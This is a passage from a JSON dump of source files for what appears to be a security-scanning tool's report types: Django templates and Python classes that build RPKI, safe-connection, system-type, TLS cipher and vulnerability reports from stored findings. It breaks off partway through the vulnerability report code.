    "content": "{% load i18n %}\n\n{% if type %}\n    <h4 id=\"rpki-{{ type }}\">{{ type }} {% translate \"server\" %}</h4>\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            This table shows which checks were performed. Following that, the compliance\n            issues, if any, are shown for each {{ type }} Server.\n        {% endblocktranslate %}\n    </p>\n{% endif %}\n{% if data.rpki_ips %}\n    {% if show_introduction %}\n        <p class=\"toggle-item\" data-show=\"off\">\n            {% blocktranslate trimmed %}\n                This section contains basic security information about Resource Public Key\n                Infrastructure (RPKI). If your web server employs RPKI for its IP addresses and\n                associated nameservers, then it enhances visitor protection against\n                misconfigurations and malicious route intercepts through verified route\n                announcements, ensuring reliable server access and secure internet traffic.\n            {% endblocktranslate %}\n        </p>\n        <p>\n            {% blocktranslate trimmed %}\n                The RPKI Report shows if an RPKI route announcement was available for\n                the system and if this announcement is not expired.\n            {% endblocktranslate %}\n        </p>\n    {% endif %}\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"RPKI compliance\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Check\" %}</th>\n                    <th>{% translate \"Compliance\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>{% translate \"RPKI Available\" %}</td>\n                    <td>\n                        {% if data.number_of_available != data.number_of_ips %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.number_of_available }}/{{ data.number_of_ips }} {% translate \"IPs are compliant\" %}\n                    </td>\n                </tr>\n                <tr>\n                    <td>{% translate \"RPKI valid\" %}</td>\n                    <td>\n                        {% if data.number_of_valid != data.number_of_ips %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.number_of_valid }}/{{ data.number_of_ips }} {% translate \"IPs are compliant\" %}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </div>\n    {% for ip, info in data.rpki_ips.items %}\n        {% if not info.valid or not info.exists %}\n            <h5>{{ ip }}</h5>\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"RPKI compliance\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>{% translate \"Compliance issue\" %}</th>\n                        <th>{% translate \"Risk level\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% if not info.valid %}\n                        <tr>\n                            <td>{% translate \"RPKI record is not valid.\" %}</td>\n                            <td>\n                                <span class=\"low\">Low</span>\n                            </td>\n                        </tr>\n                    {% endif %}\n                    {% if not info.exists %}\n                        <tr>\n                            <td>{% translate \"RPKI record does not exist.\" %}</td>\n                            <td>\n                                <span class=\"low\">Low</span>\n                            </td>\n                        </tr>\n                    {% endif %}\n                </tbody>\n            </table>\n        {% endif %}\n    {% endfor %}\n{% else %}\n    <p>{% translate \"No IPs have been found on this system.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/rpki_report/report.py",
    "content": "from collections.abc import Iterable\nfrom datetime import datetime\nfrom typing import Any, TypedDict\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\nclass RPKIData(TypedDict):\n    exists: bool\n    valid: bool\n\n\nclass RPKIReport(Report):\n    id = \"rpki-report\"\n    name = _(\"RPKI Report\")\n    description = _(\n        \"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n        \"the IP addresses and whether they are covered by a valid RPKI ROA.\"\n    )\n    plugins = {\"required\": {\"dns-records\", \"rpki\"}, \"optional\": set()}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"rpki_report/report.html\"\n    label_style = \"4-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        ips_by_input_ooi = self.to_ips(input_oois, valid_time)\n        all_ips = list({ip for key, ips in ips_by_input_ooi.items() for ip in ips})\n        finding_types_by_source = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\"IPAddress.<ooi[is Finding].finding_type\", valid_time, all_ips)\n        )\n\n        result = {}\n\n        for input_ooi, ips in ips_by_input_ooi.items():\n            rpki_ips: dict[Reference, RPKIData] = {}\n            number_of_ips = len(ips)\n            number_of_compliant = number_of_ips\n            number_of_available = number_of_ips\n            number_of_valid = number_of_ips\n\n            for ip in ips:\n                finding_types = finding_types_by_source.get(ip, [])\n                exists = not any(finding_type for finding_type in finding_types if finding_type.id in [\"KAT-NO-RPKI\"])\n                invalid = any(finding_type for finding_type in finding_types if finding_type.id in [\"KAT-INVALID-RPKI\"])\n                rpki_ips[ip] = {\"exists\": exists, \"valid\": not invalid}\n                number_of_available -= 1 if not exists else 0\n                number_of_valid -= 1 if invalid else 0\n                number_of_compliant -= 1 if not (exists and not invalid) else 0\n\n            result[input_ooi] = {\n                \"input_ooi\": input_ooi,\n                \"rpki_ips\": rpki_ips,\n                \"number_of_available\": number_of_available,\n                \"number_of_compliant\": number_of_compliant,\n                \"number_of_valid\": number_of_valid,\n                \"number_of_ips\": number_of_ips,\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/safe_connections_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/safe_connections_report/report.html",
    "content": "{% load i18n %}\n\n{% if type %}\n    <h4 id=\"safe-connections-{{ type }}\">{{ type }} {% translate \"server\" %}</h4>\n    <p class=\"toggle-item\" data-show=\"off\">\n        {% blocktranslate trimmed %}\n            This table shows which checks were performed. Following that, the compliance\n            issues, if any, are shown for each {{ type }} Server.\n        {% endblocktranslate %}\n    </p>\n{% endif %}\n{% if data.sc_ips %}\n    {% if show_introduction %}\n        <p class=\"toggle-item\" data-show=\"off\">\n            {% blocktranslate trimmed %}\n                The Safe Connections report provides an overview of the performed\n                checks with regard to encrypted communication channels such as HTTPS.\n                The table below gives an overview of the available checks including\n                whether the system passed the performed checks. The risk level and\n                reasoning as to why an issue was identified are shown too. The risk\n                level may be different for your specific environment.\n            {% endblocktranslate %}\n        </p>\n    {% endif %}\n    <div class=\"horizontal-scroll\">\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Safe connections compliance\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Check\" %}</th>\n                    <th>{% translate \"Compliance\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>{% translate \"Only Safe Ciphers\" %}</td>\n                    <td>\n                        {% if data.number_of_available != data.number_of_ips %}\n                            <span class=\"icon incomplete\"></span>\n                        {% else %}\n                            <span class=\"icon positive\"></span>\n                        {% endif %}\n                        {{ data.number_of_available }}/{{ data.number_of_ips }} {% translate \"services are compliant\" %}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </div>\n    {% for ip, findings in data.sc_ips.items %}\n        {% if findings %}\n            {% if generate_report %}\n                <h5>{% translate \"Host:\" %} {{ ip.tokenized.address }}</h5>\n            {% else %}\n                <h5>{% translate \"Host:\" %} {{ ip }}</h5>\n            {% endif %}\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Safe connections compliance\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Compliance issue\" %}</th>\n                        <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for finding_type in findings %}\n                        <tr>\n                            <td>\n                                {% if finding_type.description %}\n                                    {{ finding_type.description }}\n                                {% else %}\n                                    {{ finding_type.id }}\n                                {% endif %}\n                            </td>\n                            <td>\n                                <span class=\"{{ finding_type.risk_severity }}\">{{ finding_type.risk_severity|capfirst }}</span>\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        {% endif %}\n    {% endfor %}\n{% else %}\n    <p>{% translate \"No IPs have been found on this system.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/safe_connections_report/report.py",
    "content": "from collections.abc import Iterable\nfrom datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\nCIPHER_FINDINGS = [\"KAT-RECOMMENDATION-BAD-CIPHER\", \"KAT-MEDIUM-BAD-CIPHER\", \"KAT-CRITICAL-BAD-CIPHER\"]\n\n\nclass SafeConnectionsReport(Report):\n    id = \"safe-connections-report\"\n    name = _(\"Safe Connections Report\")\n    description: str = _(\"Shows whether the IPService contains safe ciphers.\")\n    plugins = {\"required\": {\"dns-records\", \"testssl-sh-ciphers\", \"nmap\"}, \"optional\": set()}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"safe_connections_report/report.html\"\n    label_style = \"2-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        ips_by_input_ooi = self.to_ips(input_oois, valid_time)\n        all_ips = list({ip for key, ips in ips_by_input_ooi.items() for ip in ips})\n\n        finding_types_by_source = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address[is IPPort].<ip_port [is IPService]\"\n                \".<ip_service [is TLSCipher].<ooi[is Finding].finding_type\",\n                valid_time,\n                all_ips,\n            ),\n            CIPHER_FINDINGS,\n        )\n\n        result = {}\n\n        for input_ooi, ips in ips_by_input_ooi.items():\n            sc_ips = {}\n            number_of_ips = len(ips)\n            number_of_available = number_of_ips\n\n            for ip in ips:\n                sc_ips[ip] = finding_types_by_source.get(ip, [])\n                number_of_available -= 1 if sc_ips[ip] else 0\n\n            result[input_ooi] = {\n                \"input_ooi\": input_ooi,\n                \"sc_ips\": sc_ips,\n                \"number_of_available\": number_of_available,\n                \"number_of_ips\": number_of_ips,\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/systems_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/systems_report/report.html",
    "content": "{% load i18n %}\n\n{% if data.services %}\n    <div class=\"horizontal-scroll\">\n        {% if show_introduction %}\n            <p class=\"toggle-item\" data-show=\"off\">\n                {% blocktranslate trimmed %}\n                    The System Report provides an overview of the system types (types of\n                    similar services) that were identified for each system. The following\n                    system types can be identified: DNS servers, Web servers, Mail servers\n                    and those classified as 'Other' servers. Each hostname and/or IP\n                    address is given one or more system types depending on the identified\n                    ports and services. The table below gives an overview of these results.\n                {% endblocktranslate %}\n            </p>\n        {% endif %}\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Selected assets\" %}</caption>\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"IP address\" %}</th>\n                    <th scope=\"col\">{% translate \"Domain\" %}</th>\n                    <th scope=\"col\">{% translate \"System type\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for ip, ip_services in data.services.items %}\n                    <tr>\n                        <td>{{ ip|human_readable }}</td>\n                        <td>\n                            {% if ip_services.hostnames %}\n                                {% for hostname in ip_services.hostnames %}\n                                    {{ hostname|human_readable }}\n                                    {% if not forloop.last %},{% endif %}\n                                {% endfor %}\n                            {% else %}\n                                -\n                            {% endif %}\n                        </td>\n                        <td>\n                            {% if ip_services.services %}\n                                {{ ip_services.services|join:\", \" }}\n                            {% else %}\n                                -\n                            {% endif %}\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% else %}\n    <p>{% translate \"No system types have been identified on this system.\" %}</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/systems_report/report.py",
    "content": "from collections.abc import Iterable\nfrom dataclasses import dataclass\nfrom datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\nfrom strenum import StrEnum\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\nclass SystemType(StrEnum):\n    WEB = \"Web\"\n    MAIL = \"Mail\"\n    DICOM = \"Dicom\"\n    DNS = \"DNS\"\n    OTHER = \"Other\"\n\n\n@dataclass\nclass System:\n    system_types: list\n    oois: list\n\n\nSERVICE_MAPPING = {\n    \"http\": SystemType.WEB,\n    \"http-alt\": SystemType.WEB,\n    \"https\": SystemType.WEB,\n    \"https-alt\": SystemType.WEB,\n    \"domain\": SystemType.DNS,\n    \"smtp\": SystemType.MAIL,\n    \"smtps\": SystemType.MAIL,\n    \"submission\": SystemType.MAIL,\n    \"imap\": SystemType.MAIL,\n    \"imaps\": SystemType.MAIL,\n    \"pop3\": SystemType.MAIL,\n    \"pop3s\": SystemType.MAIL,\n    \"dicom\": SystemType.DICOM,\n    \"dicom-tls\": SystemType.DICOM,\n    \"dicom-iscl\": SystemType.DICOM,\n}\n\n\nSOFTWARE_MAPPING = {\"DICOM\": SystemType.DICOM}\n\n\nclass SystemReport(Report):\n    id = \"systems-report\"\n    name = _(\"System Report\")\n    description = _(\"Combine IP addresses, hostnames and services into systems.\")\n    plugins = {\"required\": {\"dns-records\", \"nmap\"}, \"optional\": {\"nmap-udp\"}}\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"systems_report/report.html\"\n    label_style = \"6-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        ips_by_input_ooi = self.to_ips(input_oois, valid_time)\n        all_ips = list({ip for key, ips in ips_by_input_ooi.items() for ip in ips})\n\n        hostnames_by_source = self.group_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address[is ResolvedHostname].hostname\", valid_time, all_ips\n            )\n        )\n        services_by_source = {\n            source: [SERVICE_MAPPING.get(str(service.name), SystemType.OTHER) for service in services]\n            for source, services in self.group_by_source(\n                self.octopoes_api_connector.query_many(\n                    \"IPAddress.<address[is IPPort].<ip_port [is IPService].service\", valid_time, all_ips\n                )\n            ).items()\n        }\n        software_by_source = {\n            source: [\n                SOFTWARE_MAPPING[str(software.name)] for software in sw_instances if software.name in SOFTWARE_MAPPING\n            ]\n            for source, sw_instances in self.group_by_source(\n                self.octopoes_api_connector.query_many(\n                    \"IPAddress.<address[is IPPort].<ooi [is SoftwareInstance].software\", valid_time, all_ips\n                )\n            ).items()\n        }\n        websites_by_source = self.group_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address[is IPPort].<ip_port [is IPService].<ip_service [is Website]\", valid_time, all_ips\n            )\n        )\n\n        result = {}\n\n        for input_ooi, ips in ips_by_input_ooi.items():\n            ip_services: dict[str, dict[str, Any]] = {}\n\n            for ip in ips:\n                ip_services[ip] = {\n                    \"hostnames\": [hostname.reference for hostname in hostnames_by_source.get(ip, [])],\n                    \"services\": list(set(services_by_source.get(ip, [])).union(set(software_by_source.get(ip, [])))),\n                }\n\n                if websites_by_source.get(ip) and SystemType.WEB not in ip_services[ip][\"services\"]:\n                    ip_services[ip][\"services\"].append(SystemType.WEB)\n\n                ip_services[ip][\"services\"].sort()\n\n            domains = set()\n            for data in ip_services.values():\n                domains.update(data[\"hostnames\"])\n\n            result[input_ooi] = {\n                \"input_ooi\": input_ooi,\n                \"services\": ip_services,\n                \"summary\": {\"total_systems\": len(ip_services), \"total_domains\": len(domains)},\n            }\n\n        return result\n"
  },
  {
    "path": "rocky/reports/report_types/tls_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/tls_report/report.html",
    "content": "{% load i18n %}\n\n<p class=\"toggle-item\" data-show=\"off\">\n    {% blocktranslate trimmed %}\n        The TLS Report shows which TLS protocols and ciphers were identified\n        on the host for the provided port.\n    {% endblocktranslate %}\n</p>\n{% for ip_service, data in data.items %}\n    <h3>Ciphers for {{ data.input_ooi|human_readable }}</h3>\n    {% if data.suites %}\n        <p class=\"toggle-item\" data-show=\"off\">\n            {% blocktranslate trimmed %}\n                The table below provides an overview of the identified TLS\n                protocols and ciphers, including a status suggestion.\n            {% endblocktranslate %}\n        </p>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Ciphers\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>{% translate \"Status\" %}</th>\n                        <th>{% translate \"Protocol\" %}</th>\n                        <th>{% translate \"Name\" %}</th>\n                        <th>{% translate \"Encryption Algorithm\" %}</th>\n                        <th>{% translate \"Bits\" %}</th>\n                        <th>{% translate \"Key Size\" %}</th>\n                        <th>{% translate \"Code\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for protocol, suites in data.suites.items %}\n                        {% for suite in suites %}\n                            <tr>\n                                <td>\n                                    {% if suite.cipher_suite_name in data.suites_with_findings %}\n                                        <i class=\"icon alert\"></i> {% translate \"Phase out\" %}\n                                    {% else %}\n                                        <i class=\"icon positive\"></i> {% translate \"Good\" %}\n                                    {% endif %}\n                                </td>\n                                <td>{{ protocol }}</td>\n                                <td>{{ suite.cipher_suite_alias }}</td>\n                                <td>{{ suite.encryption_algorithm }}</td>\n                                <td>{{ suite.bits }}</td>\n                                <td>{{ suite.key_size }}</td>\n                                <td>{{ suite.cipher_suite_code }}</td>\n                            </tr>\n                        {% endfor %}\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% else %}\n        <p>{% translate \"No ciphers were found for this combination of IP address, port and service.\" %}</p>\n    {% endif %}\n    {% if data.findings %}\n        <h3>{% translate \"Findings\" %}</h3>\n        <p>\n            {% blocktranslate trimmed %}\n                The list below gives an overview of the findings based on the\n                identified TLS protocols and ciphers. This includes the reasoning\n                why the cipher or protocol is marked as a finding.\n            {% endblocktranslate %}\n        </p>\n        {% for finding in data.findings %}\n            <h4>{{ finding.finding_type.tokenized.id }}</h4>\n            <p>{{ finding.description|linebreaks }}</p>\n        {% endfor %}\n    {% endif %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/reports/report_types/tls_report/report.py",
    "content": "from datetime import datetime\nfrom typing import Any\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom octopoes.models.ooi.service import IPService\nfrom reports.report_types.definitions import Report\n\nCIPHER_FINDINGS = [\"KAT-RECOMMENDATION-BAD-CIPHER\", \"KAT-MEDIUM-BAD-CIPHER\", \"KAT-CRITICAL-BAD-CIPHER\"]\n\n\nclass TLSReport(Report):\n    id = \"tls-report\"\n    name = _(\"TLS Report\")\n    description: str = _(\"TLS Report assesses the security of data encryption and transmission protocols.\")\n    plugins = {\"required\": {\"testssl-sh-ciphers\"}, \"optional\": set()}\n    input_ooi_types = {IPService, Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"tls_report/report.html\"\n    label_style = \"3-light\"\n\n    def generate_data(self, input_ooi: str, valid_time: datetime) -> dict[str, Any]:\n        results = {}\n        class_type = Reference.from_str(input_ooi).class_type\n\n        if class_type == Hostname:\n            services = self.octopoes_api_connector.query(\n                \"Hostname.<hostname[is ResolvedHostname].address.<address[is IPPort].<ip_port [is IPService]\",\n                valid_time,\n                input_ooi,\n            )\n            oois = [ooi.primary_key for ooi in services if ooi.ooi_type == \"IPService\"]\n        elif class_type == IPAddressV4:\n            services = self.octopoes_api_connector.query(\n                \"IPAddressV4.<address[is IPPort].<ip_port [is IPService]\", valid_time, input_ooi\n            )\n            oois = [ooi.primary_key for ooi in services if ooi.ooi_type == \"IPService\"]\n        elif class_type == IPAddressV6:\n            services = self.octopoes_api_connector.query(\n                \"IPAddressV6.<address[is IPPort].<ip_port [is IPService]\", valid_time, input_ooi\n            )\n            oois = [ooi.primary_key for ooi in services if ooi.ooi_type == \"IPService\"]\n        else:\n            oois = [input_ooi]\n\n        for service in oois:\n            suites: dict = {}\n            findings: list[Finding] = []\n            suites_with_findings = []\n            ref = Reference.from_str(service)\n\n            ciphers = self.octopoes_api_connector.query(\"IPService.<ip_service[is TLSCipher]\", valid_time, ref)\n\n            if ciphers:\n                suites = ciphers[0].suites\n                finding_query_results = self.octopoes_api_connector.query(\n                    \"TLSCipher.<ooi[is Finding]\", valid_time, ciphers[0].reference\n                )\n\n                findings = [\n                    ooi\n                    for ooi in finding_query_results\n                    if ooi.ooi_type == \"Finding\" and ooi.finding_type.tokenized.id in CIPHER_FINDINGS\n                ]\n\n            for protocol, cipher_suites in suites.items():\n                for suite in cipher_suites:\n                    for finding in findings:\n                        if finding.description and suite[\"cipher_suite_name\"] in finding.description:\n                            suites_with_findings.append(suite[\"cipher_suite_name\"])\n\n            results[service] = {\n                \"input_ooi\": service,\n                \"suites\": suites,\n                \"findings\": findings,\n                \"suites_with_findings\": suites_with_findings,\n            }\n        return results\n"
  },
  {
    "path": "rocky/reports/report_types/vulnerability_report/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/report_types/vulnerability_report/report.html",
    "content": "{% load i18n %}\n{% load report_extra %}\n\n{% if data|sum_findings == 0 %}\n    <p class=\"toggle-item\" data-show=\"off\">{% translate \"No vulnerabilities have been found on this system.\" %}</p>\n{% else %}\n    {% for ip, vulnerability_data in data.items %}\n        {% if vulnerability_data.summary.total_findings > 0 %}\n            <h3>{% translate \"Host:\" %} {{ ip|human_readable }} {{ vulnerability_data.hostnames }}</h3>\n            <p class=\"toggle-item\" data-show=\"off\">\n                {% blocktranslate trimmed %}\n                    The Vulnerability Report provides an overview of all identified CVE\n                    vulnerabilities that were identified on the selected systems. For\n                    each CVE the table shows the CVE scoring, the number of occurrences,\n                    and the CVE details.\n                {% endblocktranslate %}\n            </p>\n            <p>\n                <strong>{{ vulnerability_data.summary.total_findings }}</strong> {% translate \"vulnerabilities on this system\" %}\n            </p>\n            <div class=\"horizontal-scroll sticky-column\">\n                <table class=\"nowrap\">\n                    <caption class=\"visually-hidden\">{% translate \"Vulnerabilities\" %}</caption>\n                    <thead>\n                        <tr>\n                            <th scope=\"col\">{% translate \"Vulnerabilities\" %}</th>\n                            <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                            <th scope=\"col\">{% translate \"Occurrences\" %}</th>\n                            <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n                        </tr>\n                    </thead>\n                    <tbody>\n                        {% for vulnerability_name, vulnerability in vulnerability_data.vulnerabilities.items %}\n                            <tr>\n                                <td>{{ vulnerability_name }}</td>\n                                <td>\n                                    <span class=\"{{ vulnerability.cvss.class }}\">{{ vulnerability.cvss.severity }}</span>\n                                </td>\n                                <td>{{ vulnerability.occurrences }}</td>\n                                <td class=\"actions sticky-cell\">\n                                    <button class=\"expando-button\"\n                                            data-icon-open-class=\"icon ti-chevron-down\"\n                                            data-icon-close-class=\"icon ti-chevron-up\"\n                                            data-close-label=\"{% translate \"Close details\" %}\">\n                                        {% translate \"Open details\" %}\n                                    </button>\n                                </td>\n                            </tr>\n                            <tr class=\"expando-row\">\n                                <td colspan=\"5\">\n                                    <dl>\n                                        <div>\n                                            <dt>{% translate \"Description\" %}</dt>\n                                            <dd>\n                                                {{ vulnerability.description }}\n                                            </dd>\n                                        </div>\n                                        <div>\n                                            <dt>{% translate \"Advice\" %}</dt>\n                                            <dd>\n                                                {{ vulnerability.advice }}\n                                            </dd>\n                                        </div>\n                                    </dl>\n                                    <p>{% translate \"Findings\" %}</p>\n                                    <ul class=\"accordion break-title\">\n                                        {% for finding, finding_details in vulnerability.findings.items %}\n                                            <li>\n                                                <button aria-expanded=\"false\">{{ finding }}</button>\n                                                <div aria-labelledby=\"finding-details\">\n                                                    <dl>\n                                                        {% for key, value in finding_details.items %}\n                                                            <div>\n                                                                <dt>{{ key }}</dt>\n                                                                <dd>\n                                                                    {% if key == \"Evidence\" %}\n                                                                        <a href=\"{% url 'download_task_meta' organization_code=organization.code task_id=value %}\"><span class=\"icon ti-download\"></span>{{ value }}</a>\n                                                                    {% else %}\n                                                                        {{ value }}\n                                                                    {% endif %}\n                                                                </dd>\n                                                            </div>\n                                                        {% endfor %}\n                                                    </dl>\n                                                </div>\n                                            </li>\n                                        {% endfor %}\n                                    </ul>\n                                </td>\n                            </tr>\n                        {% endfor %}\n                    </tbody>\n                </table>\n            </div>\n        {% endif %}\n    {% endfor %}\n{% endif %}\n"
  },
  {
    "path": "rocky/reports/report_types/vulnerability_report/report.py",
    "content": "from collections import Counter\nfrom collections.abc import Iterable\nfrom datetime import datetime\nfrom typing import Any, TypedDict\n\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, FindingType, KATFindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6\nfrom reports.report_types.definitions import Report\n\n\nclass FindingsData(TypedDict):\n    finding_types: list[FindingType]\n    findings: list[Finding]\n\n\nclass VulnerabilityReport(Report):\n    id = \"vulnerability-report\"\n    name = _(\"Vulnerability Report\")\n    description: str = _(\"Vulnerabilities found are grouped for each system.\")\n    plugins = {\n        \"required\": {\"dns-records\", \"nmap\", \"webpage-analysis\"},\n        \"optional\": {\"nmap-udp\", \"nmap-ports\", \"shodan\"},\n    }\n    input_ooi_types = {Hostname, IPAddressV4, IPAddressV6}\n    template_path = \"vulnerability_report/report.html\"\n    label_style = \"5-light\"\n\n    def collect_data(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict[Reference, dict[str, Any]]:\n        result = {}\n        all_findings_for_all_oois = self.get_findings(input_oois, valid_time)\n        readable_hostnames_by_input_ooi = Report.hostnames_to_human_readable(self.to_hostnames(input_oois, valid_time))\n        # TODO: these caches should not be necessary if we rewrite the inner loops or use new bulk queries there as well\n        history_cache = {}\n        origin_cache = {}\n\n        for input_ooi in input_oois:\n            data = {}\n            all_findings = all_findings_for_all_oois.get(input_ooi, {})\n\n            for ip, findings_data in all_findings.items():\n                vulnerabilities: dict[str, dict[str, Any]] = {}\n                total_criticals = 0\n                finding_types_ids = [finding_type.id for finding_type in findings_data[\"finding_types\"]]\n                occurrences = Counter(finding_types_ids)\n                total_findings = sum(occurrences.values())\n                terms = list(occurrences)\n                recommendations = []\n\n                # remove duplicate findings and finding types\n                finding_types = list(set(findings_data[\"finding_types\"]))\n                findings = list(set(findings_data[\"findings\"]))\n\n                for finding_type in finding_types:\n                    filtered_findings = {}\n\n                    for finding in findings:\n                        if finding.finding_type.tokenized.id != finding_type.id:\n                            continue\n\n                        if finding.reference not in history_cache:\n                            history_cache[finding.reference] = self.octopoes_api_connector.get_history(\n                                finding.reference\n                            )\n\n                        if history_cache[finding.reference]:\n                            first_seen = str(history_cache[finding.reference][0].valid_time)\n                        else:\n                            first_seen = \"\"\n\n                        if finding.reference not in origin_cache:\n                            origin_cache[finding.reference] = self.octopoes_api_connector.list_origins(\n                                result=finding.ooi, valid_time=valid_time\n                            )\n\n                        origins = origin_cache[finding.reference]\n                        sources = \", \".join([origin.method for origin in origins])\n\n                        evidence = origins[0].task_id if origins else \"-\"\n\n                        filtered_findings[finding.human_readable] = {\n                            str(_(\"Source\")): sources,\n                            str(_(\"First seen\")): first_seen,\n                            str(_(\"Last seen\")): \"-\",\n                            str(_(\"Evidence\")): evidence,\n                        }\n\n                    cvss: dict[str, str | float | None] = {\"class\": \"-\", \"score\": None, \"severity\": \"-\"}\n\n                    if finding_type.risk_severity:\n                        cvss = {\n                            \"class\": str(finding_type.risk_severity.value).lower(),\n                            \"score\": finding_type.risk_score,\n                            \"severity\": str(finding_type.risk_severity.value).title(),\n                        }\n\n                    vulnerabilities[finding_type.id] = {\n                        \"cvss\": cvss,\n                        \"occurrences\": occurrences[finding_type.id],\n                        \"description\": finding_type.description or \"-\",\n                        \"advice\": finding_type.recommendation or \"-\",\n                        \"findings\": filtered_findings,\n                    }\n\n                    if finding_type.risk_severity == RiskLevelSeverity.CRITICAL:\n                        total_criticals += 1\n\n                    if finding_type.recommendation:\n                        recommendations.append(finding_type.recommendation)\n\n                sorted_vulnerabilities = sorted(\n                    vulnerabilities.items(), key=lambda x: x[1].get(\"cvss\", {}).get(\"score\", 0) or 0, reverse=True\n                )\n\n                data[ip] = {\n                    \"hostnames\": readable_hostnames_by_input_ooi[input_ooi],\n                    \"vulnerabilities\": dict(sorted_vulnerabilities),\n                    \"summary\": {\n                        \"total_findings\": total_findings,\n                        \"total_criticals\": total_criticals,\n                        \"terms\": terms,\n                        \"recommendations\": recommendations,\n                    },\n                }\n\n            result[input_ooi] = data\n\n        return result\n\n    def get_findings(self, input_oois: Iterable[Reference], valid_time: datetime) -> dict:\n        ips_by_input_ooi = self.to_ips(input_oois, valid_time)\n        all_ips = list({ip for key, ips in ips_by_input_ooi.items() for ip in ips})\n\n        port_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address[is IPPort].<ooi[is Finding].finding_type\", valid_time, all_ips\n            )\n        )\n        software_instance_finding_types = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address [is ResolvedHostname].hostname.<netloc [is HostnameHTTPURL]\"\n                \".<ooi [is SoftwareInstance].<ooi [is Finding].finding_type\",\n                valid_time,\n                all_ips,\n            )\n        )\n        port_findings = self.group_finding_types_by_source(\n            self.octopoes_api_connector.query_many(\n                \"IPAddress.<address[is IPPort].<ooi[is Finding]\", valid_time, all_ips\n            )\n        )\n        software_instance_findings = 